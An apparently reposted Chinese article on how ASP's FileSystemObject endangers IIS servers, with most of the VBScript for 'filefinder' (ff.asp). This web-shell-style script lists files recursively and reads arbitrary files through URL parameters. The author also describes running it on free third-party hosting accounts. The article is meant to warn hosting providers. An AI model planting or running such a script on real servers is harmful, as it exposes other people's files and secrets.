ASP中FSO對象對IIS WEB伺服器資料安全的威脅及對策

來源:互聯網
上載者:User
fso|iis|web|web服務|web伺服器|安全|對象|資料 scripting.filesystemobject 對象是由 scrrun.dll 提供的許多供 vbscript/jscript 控制的 com 對象之一。scripting.filesystemobject 提供了非常便利的文字檔和檔案目錄的訪問,但是同時也對 iis 網頁伺服器資料安全造成了一定的威脅。

filefinder 的代碼很簡單,由3 個函數和 30 行左右的順序代碼構成。

最關鍵的是 findfiles 函數,通過對它的遞迴調用實現對某個目錄的遍曆,並且按照特定的副檔名來搜尋這些檔案。


function findfiles(strstartfolder, strext)

dim n

dim othisfolder

dim ofolders

dim ofiles

dim ofolder

dim ofile


' 如果系統管理員對檔案系統的許可權進行細緻的設定話,下面的代碼就要出錯

' 但是有些目錄還是可以察看的,所以我們簡單的把錯誤忽略過去

on error resume next

n = 0

response.write "<b>searching " & strstartfolder & "</b><br>"

set othisfolder = g_fs.getfolder(strstartfolder)

set ofiles = othisfolder.files

for each ofile in ofiles

' 如果是指定的副檔名,輸出串連導向本身,但用不同的命令 cmd

' 在這裡是 cmd=read,即讀出指定實體路徑的文字檔

if issuffix(ofile.path, strext) then

response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"

if err = 0 then

n = n + 1

end if

end if

next

set ofolders = othisfolder.subfolders

for each ofolder in ofolders

n = n + findfiles(ofolder.path, strext)

next

findfiles = n

end function

下面的代碼是對 url 後面的參數進行分析:


' 讀出各個參數的值

strcmd = ucase(request.querystring("cmd"))

strpath = request.querystring("path")

strext = request.querystring("ext")

brawdata = ucase(request.querystring("raw"))

' 預設搜尋 .asp 檔案

if strpath = "" then

strpath = "."

end if

if strext = "" then

strext = ".asp"

end if


' 根據不同的命令 cmd 執行不同的代碼

select case strcmd

case "find"

response.write findfiles(strpath, strext) & " file(s) found"

case "read"

if brawdata = "t" then

response.write readtextfile(strpath)

else

response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"

end if

case else

response.write "<h3>please specify a command to execute</h3>"

end select

從上面的分析可以看出,如果有足夠的許可權的話,我們就可以通過 filefinder 來尋找 iis 網頁伺服器上的任意文字檔,並且可以輕鬆的察看檔案內容。對於非文字檔,可以確定他們是否存在及其所在路徑,這對於進階 hacker 們來說,這些資訊有時是極其重要的。

但是這些對資料安全的威脅的前提條件是執行 ff.asp 的使用者至少擁有讀取目錄和檔案的許可權。由於 windows nt server 在安裝後的預設安全設定是所有使用者都可以“讀取”目錄和檔案,所以不管是 iis 預設的你名使用者 iusr_servername 還是別的什麼使用者,都可以順列的讀取目錄和檔案的資訊。而大多數 windows nt server系統管理員主要關心系統是否能夠啟動並執行起來,一般不願意去改動預設的目錄和檔案許可權,畢竟那樣做要冒很大的風險,而且需要很多次得經驗。所以,我們可以用 filefinder 來檢查作為 網頁伺服器的 nt server 的檔案系統的安全設定是否安全。

作者專門對作為 iis 網頁伺服器的檔案系統的許可權進行了人工設定,但限於沒有經驗,導致了許多奇怪的錯誤現象,如:所用的做實驗的 nt server 4.0 不能進行 access 資料庫的串連。而在進行檔案系統許可權改動之前,這些功能是正常的。

本著純粹研究的目的,作者還在我所申請的免費 asp 空間上作了實驗(包括 csdn 提供的我的個人首頁),結果是 filefinder 都可以順利運行。而在http://www2.domaindlx.com/index.html 申請的個人首頁卻沒有這個問題,可見這個免費 asp 首頁供應商在這方面做的還是比較認真的。儘管 domaindlx 的 網頁伺服器運行在 windows 2000 server 上的,其預設的檔案系統的安全許可權和 nt 4.0 沒有很大的差別。

由於作者的能力有限,就對這個問題討論到這裡。僅以此文來向國內的 asp 首頁供應商提供參考意見,希望能對供應商和客戶雙方的資料安全都有所協助。

附:用其它類似的伺服器端指令碼來啟動並執行 web 服務,如果也提供類似 scripting.filesystemobject 的對檔案系統操作的功能,不管什麼平台應該存在同樣的問題。



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。